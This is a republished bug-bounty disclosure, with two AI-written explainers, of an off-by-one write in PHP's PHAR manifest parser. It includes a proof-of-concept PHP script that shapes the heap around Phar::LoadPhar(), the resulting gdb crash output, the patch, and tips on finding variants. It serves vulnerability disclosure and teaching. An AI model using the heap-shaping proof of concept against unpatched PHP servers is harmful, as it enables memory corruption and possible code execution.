Skip to content
Memory corruption Disclosed report Advanced

Memory corruption when parsing a hostile PHAR archive

The PHAR parsing function in PHP incorrectly null-terminates a buffer, causing an off-by-one write that can corrupt heap metadata. An attacker could craft a malicious PHAR archive to achieve memory corruption and possibly remote code execution.

aerodudrizzt Follow

Originally disclosed on HackerOne

Bounty$500 Medium View original
  • Fixed in 34 days
  • Paid in 34 days
  • Disclosed after 2.8 years

The vulnerability was reported to PHP's security team and was fixed:

The PHAR module in all PHP versions (5.6.9 and below, 7.1.0 and below) is vulnerable to a memory corruption and possibly a remote code execution attack when parsing a hostile PHAR archive. Here are the technical details:

  • File: ext\phar\phar.c
  • Function: phar_parse_pharfile()

The function incorrectly '\0' terminates the buffer in case the alias does not match:

buffer[tmp_len] = '\0';

When a hostile archive sets tmp_len to be manifest_length - 14, this will write the '\0' just outside the buffer (off-by-one), thus overriding emalloc's metadata.

The assignment should be replaced with:

buffer[MIN(tmp_len, (size_t)(endbuffer - buffer) - 1)] = '\0';

This vulnerability was demonstrated with this PHP script:

<?php
	$length = 192;
	$array  = array();
	$x = 0;
	while ( $x < 4 ){
		$array[$x++] = str_repeat($x, ($length - 20));
	}

	try{
		$p = Phar::LoadPhar('example_hostile.phar', 'alias.phar');
	}
	catch(Exception $e){
		echo "Failed to load the phar archive\n";
	}

	$s = str_repeat("\xef\xbe\xad\xde", ($length - 20) / 4);
	while ( $x < 8 ){
		$array[$x++] = str_repeat($x, ($length - 20));
	}
?>

When parsing the hostile PHAR archive it caused a crash when trying to write data into the 0xDEADBEEF address:

#0  0x80260e75 in _emalloc ()
#1  0x802610d8 in _safe_emalloc ()
#2  0x801fac73 in zif_str_repeat ()
#3  0x8031b662 in execute_internal ()
#4  0x80274dce in dtrace_execute_internal ()
#5  0x8030cf65 in ?? ()
#6  0x802c56da in execute_ex ()
#7  0x80274c35 in dtrace_execute_ex ()
#8  0x8031d1b6 in zend_execute ()
#9  0x8028510d in zend_execute_scripts ()
#10 0x80224054 in php_execute_script ()
#11 0x8031f01f in ?? ()
#12 0x800fe64f in main ()
(gdb) info reg
eax            0xdeadbeef	-559038737
ecx            0xb5000074	-1258291084
edx            0xd	13
ebx            0xb5000040	-1258291136
esp            0xbffedf80	0xbffedf80
ebp            0xb50131e0	0xb50131e0
esi            0x7	7
edi            0x1	1
eip            0x80260e75	0x80260e75 <_emalloc+101>
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

This demonstrates how this memory corruption can be used to achieve a memory write in an arbitrary memory address in the PHP's process, thus maybe enabling a remote code exploitation over the targeted PHP server.

The original report as published on HackerOne, by aerodudrizzt. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target here is PHP itself, specifically the PHAR extension, which lets PHP applications load PHP archives (.phar files) as self-contained packages of code and data. The vulnerable component is the parser that reads the archive manifest, in ext\phar\phar.c, in the function phar_parse_pharfile(). That function is what runs when an application calls something like Phar::LoadPhar() on an archive, so any code path that parses an attacker-supplied PHAR file reaches it.

The report was filed through the Internet Bug Bounty program against the PHP asset, rated medium severity, and a bounty of 500.00 USD was paid. It was disclosed on 2019-10-13.

Setup

The report does not describe any account, role or special tooling. The only precondition it states is the vulnerable code itself: the PHAR module in all PHP versions up to and including 5.6.9 and 7.1.0 is affected. The researcher loaded a hostile PHAR archive from a PHP script and observed the crash under a debugger.

Finding it

The researcher's attention was on how phar_parse_pharfile() handles the archive alias. When the alias does not match, the function terminates the buffer with a NUL byte using this statement:

C
buffer[tmp_len] = '\0';

The problem is that tmp_len is derived from the archive's own manifest, so a hostile archive controls it. If the archive sets tmp_len to manifest_length - 14, the NUL lands one byte past the end of the buffer: an off-by-one write that overwrites emalloc's metadata for the allocation.

Exploitation

Step 1: Build a hostile archive and load it

The researcher demonstrated the bug with a PHP script that constructs a hostile PHAR archive and then loads it. The script fills an array with repeated strings, calls Phar::LoadPhar() on the hostile file, and then continues allocating after the load:

PHP
<?php
	$length = 192;
	$array  = array();
	$x = 0;
	while ( $x < 4 ){
		$array[$x++] = str_repeat($x, ($length - 20));
	}

	try{
		$p = Phar::LoadPhar('example_hostile.phar', 'alias.phar');
	}
	catch(Exception $e){
		echo "Failed to load the phar archive\n";
	}

	$s = str_repeat("\xef\xbe\xad\xde", ($length - 20) / 4);
	while ( $x < 8 ){
		$array[$x++] = str_repeat($x, ($length - 20));
	}
?>

The first loop performs four str_repeat calls of $length - 20 bytes each before the parse. The Phar::LoadPhar('example_hostile.phar', 'alias.phar') call is where the hostile manifest is parsed and where the off-by-one NUL is written. The $s assignment then builds a string from the bytes \xef\xbe\xad\xde repeated ($length - 20) / 4 times, and the second loop performs four more allocations of the same size. The crash occurs inside _emalloc while the script runs.

Step 2: Observe the crash

Parsing the hostile archive caused a crash when the process tried to write data into the 0xDEADBEEF address. The backtrace shows the fault inside _emalloc, reached from _safe_emalloc and zif_str_repeat:

Text
#0  0x80260e75 in _emalloc ()
#1  0x802610d8 in _safe_emalloc ()
#2  0x801fac73 in zif_str_repeat ()
#3  0x8031b662 in execute_internal ()
#4  0x80274dce in dtrace_execute_internal ()
#5  0x8030cf65 in ?? ()
#6  0x802c56da in execute_ex ()
#7  0x80274c35 in dtrace_execute_ex ()
#8  0x8031d1b6 in zend_execute ()
#9  0x8028510d in zend_execute_scripts ()
#10 0x80224054 in php_execute_script ()
#11 0x8031f01f in ?? ()
#12 0x800fe64f in main ()

The register dump confirms that the value the allocator tried to use as an address is the marker the script planted:

Text
(gdb) info reg
eax            0xdeadbeef	-559038737
ecx            0xb5000074	-1258291084
edx            0xd	13
ebx            0xb5000040	-1258291136
esp            0xbffedf80	0xbffedf80
ebp            0xb50131e0	0xb50131e0
esi            0x7	7
edi            0x1	1
eip            0x80260e75	0x80260e75 <_emalloc+101>
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

eax holds 0xdeadbeef, the marker value the script planted. The researcher's conclusion is that this memory corruption can be used to achieve a memory write at an arbitrary address in the PHP process, and therefore maybe to achieve remote code execution against the targeted PHP server.

Root cause

The bug is a single unchecked length in phar_parse_pharfile(). The NUL terminator is written at buffer[tmp_len] without verifying that tmp_len is inside the buffer. Because tmp_len can be set by the archive to manifest_length - 14, the write lands one byte beyond the allocation, into the allocator's metadata.

Impact

The report states that the PHAR module in all PHP versions up to 5.6.9 and 7.1.0 is vulnerable to memory corruption and possibly remote code execution when parsing a hostile PHAR archive. The demonstrated effect is a controlled memory write: the crash shows the allocator dereferencing a value the attacker's script placed on the heap. The researcher hedges the code execution outcome with "maybe", so the report establishes memory corruption and a write primitive, with RCE as a possible consequence rather than a demonstrated one. The attacker needs the target to parse an archive they control, for example through a call such as Phar::LoadPhar() on an attacker-supplied file.

Fix

The vulnerability was reported to PHP's security team and was fixed. The report references the PHP bug tracker ticket 73768 and a Git commit. The assignment was replaced with a bounds-checked version that clamps the index to the end of the buffer:

C
buffer[MIN(tmp_len, (size_t)(endbuffer - buffer) - 1)] = '\0';

With this change, tmp_len can no longer push the terminator past the buffer: the index is capped at one less than the distance from buffer to endbuffer.

Variants to test

  • Other length fields taken from the PHAR manifest and used as buffer indices in phar_parse_pharfile() and neighbouring parse functions. A positive result is a crash or allocator abort when a crafted manifest sets the field near the buffer boundary.
  • Alias handling paths where the alias does not match the archive, since that is the branch that performs the NUL termination. A positive result is a write one byte past an allocation, visible as corrupted allocator metadata or a crash in _emalloc.
  • Heap shaping around the parse, as in the demonstration script: allocations of a chosen size before and after Phar::LoadPhar(). A positive result is a fault address matching a value the script planted, as 0xdeadbeef did here.
  • Other PHP versions in the affected ranges (up to 5.6.9 and 7.1.0) to confirm the same off-by-one is reachable.

Hunting notes

This kind of bug hides in binary and archive parsers written in C, where length fields come straight from the file and are used as indices or sizes without clamping. In PHP, the PHAR extension is a good place to look because applications routinely parse archives supplied by users. During recon, the signal is any code path that calls Phar::LoadPhar() or otherwise opens a .phar file whose origin an attacker can influence.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

PHP is a programming language used to build websites and web applications. It ships with a built-in feature called PHAR, which lets an application bundle a whole set of files (code, data, configuration) into a single archive file with the extension .phar. Think of it a bit like a ZIP file that PHP can open and run directly. To open such an archive, PHP has to read a small table of contents inside it, called the manifest, which describes what is in the archive and how it is laid out.

The researcher found that the part of PHP that reads this manifest, a function called phar_parse_pharfile() in the file ext\phar\phar.c, can be tricked. If an attacker builds a deliberately malformed .phar file (a "hostile" archive) and gets a PHP application to open it, PHP writes a single byte to the wrong place in its own memory. Writing one byte past the end of a reserved block of memory is called an off-by-one write. In this case that stray byte lands in the bookkeeping information the memory manager uses to keep track of its blocks, which corrupts it. The researcher concluded that this corruption can be used to write to an arbitrary address inside the PHP process, and suggested that this might in turn allow an attacker to run their own code on the server.

The bug was reported to PHP's security team and was fixed. The report points to the PHP bug tracker ticket 73768 and to a Git commit that contains the fix. It was filed through the Internet Bug Bounty program against the PHP asset, rated medium severity, and a bounty of 500.00 USD was paid. It was disclosed on 2019-10-13.

Background you need first

A few ideas come up again and again below, so here they are from zero.

Memory and buffers. When a program runs, it keeps its working data in memory, a large area of numbered storage locations. A program reserves (allocates) a chunk of memory when it needs to hold something, and that chunk is called a buffer. Each location has an address, a number the program uses to refer to it. If a program writes past the end of a buffer, it overwrites whatever happens to sit next to it, which is almost never something it intended to touch.

The memory allocator. Programs rarely manage raw memory by hand. Instead a memory allocator hands out blocks on request and keeps a little record (metadata) next to each block saying how big it is and whether it is in use. PHP's allocator is called emalloc. If an attacker can corrupt that metadata, the allocator can later be made to hand out or write to memory it should not, which is why allocator metadata is a favourite target.

Memory corruption. This is the general name for any bug where a program writes to memory it does not own or in a way it did not plan. It covers off-by-one writes, buffer overflows and similar mistakes. Memory corruption is dangerous because a skilled attacker can often turn a small unintended write into control over the program.

Remote code execution (RCE). This means an attacker who is not sitting at the machine can make the server run code of their choosing. It is usually the worst outcome of a memory corruption bug, because the attacker's code then runs with the server's privileges.

A parser. A parser is the part of a program that reads a structured file (an archive, an image, a document) and works out what it contains. Parsers are risky because they read files that may come from untrusted users, and every length or count written in the file is a number the attacker can choose.

A NUL byte and NUL termination. In C, the language PHP is written in, text strings are stored as a run of characters followed by a special zero byte, written '\0' and called the NUL terminator. It marks where the string ends. Writing that terminator is completely normal; the bug here is where it gets written.

A debugger and a backtrace. A debugger is a tool that lets a developer pause a running program, inspect its memory and registers, and see exactly where it crashed. A backtrace is the list of function calls the program was in when it crashed, from the innermost call outwards. Registers are tiny, very fast storage slots inside the processor; one of them, eax, often holds a value a function is working with.

The target

The target is PHP itself, specifically the PHAR extension. The vulnerable component is the parser that reads the archive manifest, in ext\phar\phar.c, in the function phar_parse_pharfile(). That function runs whenever an application calls something like Phar::LoadPhar() on an archive, so any code path that parses an attacker-supplied PHAR file reaches it.

Setup

The report does not describe any account, role or special tooling. The only precondition it states is the vulnerable code itself: the PHAR module in all PHP versions up to and including 5.6.9 and 7.1.0 is affected. The researcher loaded a hostile PHAR archive from a PHP script and observed the crash under a debugger.

Finding it

The researcher's attention was on how phar_parse_pharfile() handles the archive alias. An alias is a short name an archive can carry so the application can refer to it by that name instead of its full path. When the alias does not match, the function terminates the buffer with a NUL byte using this statement:

C
buffer[tmp_len] = '\0';

Line by line: buffer is the block of memory holding the alias text. tmp_len is a position (index) inside that block, and the square brackets pick the byte at that position. The statement stores a NUL byte there, ending the string.

The problem is that tmp_len is derived from the archive's own manifest, so a hostile archive controls it. If the archive sets tmp_len to manifest_length - 14, the NUL lands one byte past the end of the buffer: an off-by-one write that overwrites emalloc's metadata for the allocation. In everyday terms, imagine writing a full stop at the end of a sentence on a form, but the form is exactly full, so the full stop lands on the next form in the stack and smudges its header.

Exploitation

Step 1: Build a hostile archive and load it

The researcher demonstrated the bug with a PHP script that constructs a hostile PHAR archive and then loads it. The script fills an array with repeated strings, calls Phar::LoadPhar() on the hostile file, and then continues allocating after the load:

PHP
<?php
	$length = 192;
	$array  = array();
	$x = 0;
	while ( $x < 4 ){
		$array[$x++] = str_repeat($x, ($length - 20));
	}

	try{
		$p = Phar::LoadPhar('example_hostile.phar', 'alias.phar');
	}
	catch(Exception $e){
		echo "Failed to load the phar archive\n";
	}

	$s = str_repeat("\xef\xbe\xad\xde", ($length - 20) / 4);
	while ( $x < 8 ){
		$array[$x++] = str_repeat($x, ($length - 20));
	}
?>

Line by line:

  1. $length = 192; sets a size the script will use throughout.
  2. $array = array(); creates an empty list to hold the strings it builds.
  3. $x = 0; sets a counter to zero.
  4. The first while loop runs while $x < 4, so four times. Each pass calls str_repeat($x, ($length - 20)), which builds a string made of the current counter value repeated 172 times (192 minus 20), stores it in the array, and increments the counter. These four calls each build a 172-byte string before the parse.
  5. The try block calls Phar::LoadPhar('example_hostile.phar', 'alias.phar'). This is the moment the hostile manifest is parsed and the off-by-one NUL is written. The second argument is the alias the script asks for.
  6. The catch block simply prints a message if loading throws an exception, so the script carries on either way.
  7. $s = str_repeat("\xef\xbe\xad\xde", ($length - 20) / 4); builds a string from the four bytes \xef\xbe\xad\xde repeated 43 times (172 divided by 4). Those four bytes spell the value 0xdeadbeef when read as a number.
  8. The second while loop runs while $x < 8, so four more times, performing four more allocations of the same 172-byte size. The crash occurs inside _emalloc while the script runs.

Step 2: Observe the crash

Parsing the hostile archive caused a crash when the process tried to write data into the 0xDEADBEEF address. The backtrace shows the fault inside _emalloc, reached from _safe_emalloc and zif_str_repeat:

Text
#0  0x80260e75 in _emalloc ()
#1  0x802610d8 in _safe_emalloc ()
#2  0x801fac73 in zif_str_repeat ()
#3  0x8031b662 in execute_internal ()
#4  0x80274dce in dtrace_execute_internal ()
#5  0x8030cf65 in ?? ()
#6  0x802c56da in execute_ex ()
#7  0x80274c35 in dtrace_execute_ex ()
#8  0x8031d1b6 in zend_execute ()
#9  0x8028510d in zend_execute_scripts ()
#10 0x80224054 in php_execute_script ()
#11 0x8031f01f in ?? ()
#12 0x800fe64f in main ()

Read from the top: frame #0 is where the crash happened, inside _emalloc, the allocator's internal function. Frame #1 shows it was called from _safe_emalloc, a wrapper that checks sizes before allocating. Frame #2 shows that came from zif_str_repeat, the internal implementation of the str_repeat function the script called. The frames below walk back out through PHP's execution machinery (execute_internal, execute_ex, zend_execute, zend_execute_scripts, php_execute_script) until main, the program's entry point. In short: a normal str_repeat call in the script asked the allocator for memory, and the allocator, working from corrupted metadata, tried to use a bad address.

The register dump confirms that the value the allocator tried to use as an address is the marker the script planted:

Text
(gdb) info reg
eax            0xdeadbeef	-559038737
ecx            0xb5000074	-1258291084
edx            0xd	13
ebx            0xb5000040	-1258291136
esp            0xbffedf80	0xbffedf80
ebp            0xb50131e0	0xb50131e0
esi            0x7	7
edi            0x1	1
eip            0x80260e75	0x80260e75 <_emalloc+101>
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

(gdb) info reg is a debugger command that prints the processor's registers. Each line names a register, shows its value in hexadecimal, and then the same value as a signed decimal number. The line that matters is eax 0xdeadbeef: eax holds 0xdeadbeef, the marker value the script planted. eip shows the instruction pointer, the address of the instruction being executed, here inside _emalloc. The other registers are the rest of the processor state at the moment of the crash.

The researcher's conclusion is that this memory corruption can be used to achieve a memory write at an arbitrary address in the PHP process, and therefore maybe to achieve remote code execution against the targeted PHP server.

Root cause

The bug is a single unchecked length in phar_parse_pharfile(). The NUL terminator is written at buffer[tmp_len] without verifying that tmp_len is inside the buffer. Because tmp_len can be set by the archive to manifest_length - 14, the write lands one byte beyond the allocation, into the allocator's metadata.

Impact

The report states that the PHAR module in all PHP versions up to 5.6.9 and 7.1.0 is vulnerable to memory corruption and possibly remote code execution when parsing a hostile PHAR archive. The demonstrated effect is a controlled memory write: the crash shows the allocator dereferencing a value the attacker's script placed on the heap. The researcher hedges the code execution outcome with "maybe", so the report establishes memory corruption and a write primitive, with RCE as a possible consequence rather than a demonstrated one. The attacker needs the target to parse an archive they control, for example through a call such as Phar::LoadPhar() on an attacker-supplied file.

Fix

The vulnerability was reported to PHP's security team and was fixed. The report references the PHP bug tracker ticket 73768 and a Git commit. The assignment was replaced with a bounds-checked version that clamps the index to the end of the buffer:

C
buffer[MIN(tmp_len, (size_t)(endbuffer - buffer) - 1)] = '\0';

Line by line: endbuffer - buffer is the distance, in bytes, from the start of the buffer to its end, so it is the buffer's size. Subtracting 1 gives the index of the last valid byte. MIN(tmp_len, ...) picks whichever is smaller: the requested position tmp_len, or that last valid index. The result is used as the index for the NUL byte. With this change, tmp_len can no longer push the terminator past the buffer: the index is capped at one less than the distance from buffer to endbuffer.

Variants to test

  • Other length fields taken from the PHAR manifest and used as buffer indices in phar_parse_pharfile() and neighbouring parse functions. A positive result is a crash or allocator abort when a crafted manifest sets the field near the buffer boundary.
  • Alias handling paths where the alias does not match the archive, since that is the branch that performs the NUL termination. A positive result is a write one byte past an allocation, visible as corrupted allocator metadata or a crash in _emalloc.
  • Heap shaping around the parse, as in the demonstration script: allocations of a chosen size before and after Phar::LoadPhar(). A positive result is a fault address matching a value the script planted, as 0xdeadbeef did here.
  • Other PHP versions in the affected ranges (up to 5.6.9 and 7.1.0) to confirm the same off-by-one is reachable.

Hunting notes

This kind of bug hides in binary and archive parsers written in C, where length fields come straight from the file and are used as indices or sizes without clamping. In PHP, the PHAR extension is a good place to look because applications routinely parse archives supplied by users. During recon, the signal is any code path that calls Phar::LoadPhar() or otherwise opens a .phar file whose origin an attacker can influence.

Glossary

  • PHP: a programming language widely used to build websites and web applications.
  • PHAR: a PHP feature that bundles many files into a single .phar archive that PHP can load.
  • Manifest: the table of contents inside an archive, describing what it contains and how it is laid out.
  • Parser: the part of a program that reads a structured file and works out what it contains.
  • Buffer: a reserved block of memory used to hold data.
  • Memory address: the number identifying a location in memory.
  • Allocator: the part of a program that hands out and tracks blocks of memory; PHP's is called emalloc.
  • Metadata: bookkeeping information kept alongside data, such as a block's size and status.
  • Heap: the area of memory where a program's small, dynamically allocated blocks live.
  • Memory corruption: any bug where a program writes to memory it does not own or in an unintended way.
  • Off-by-one write: writing exactly one byte past the end of a buffer.
  • NUL byte / NUL terminator: the zero byte ('\0') that marks the end of a text string in C.
  • Alias: a short name an archive can carry so an application can refer to it instead of its full path.
  • Remote code execution (RCE): making a remote server run code of the attacker's choosing.
  • Debugger: a tool for pausing a running program and inspecting its memory and registers.
  • Backtrace: the list of function calls a program was in when it crashed.
  • Register: a small, fast storage slot inside the processor; eax and eip appear above.
  • Hexadecimal: a base-16 way of writing numbers, often used for memory addresses (for example 0xdeadbeef).
  • Heap shaping: arranging allocations before a bug is triggered so the memory layout is predictable.
  • Write primitive: a bug that gives an attacker the ability to write a chosen value to a chosen place.
  • Clamping: limiting a value to a maximum (or minimum) so it cannot go out of range.
  • Recon: the early phase of security testing, looking for code paths worth investigating.

More by aerodudrizzt

View all

10 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.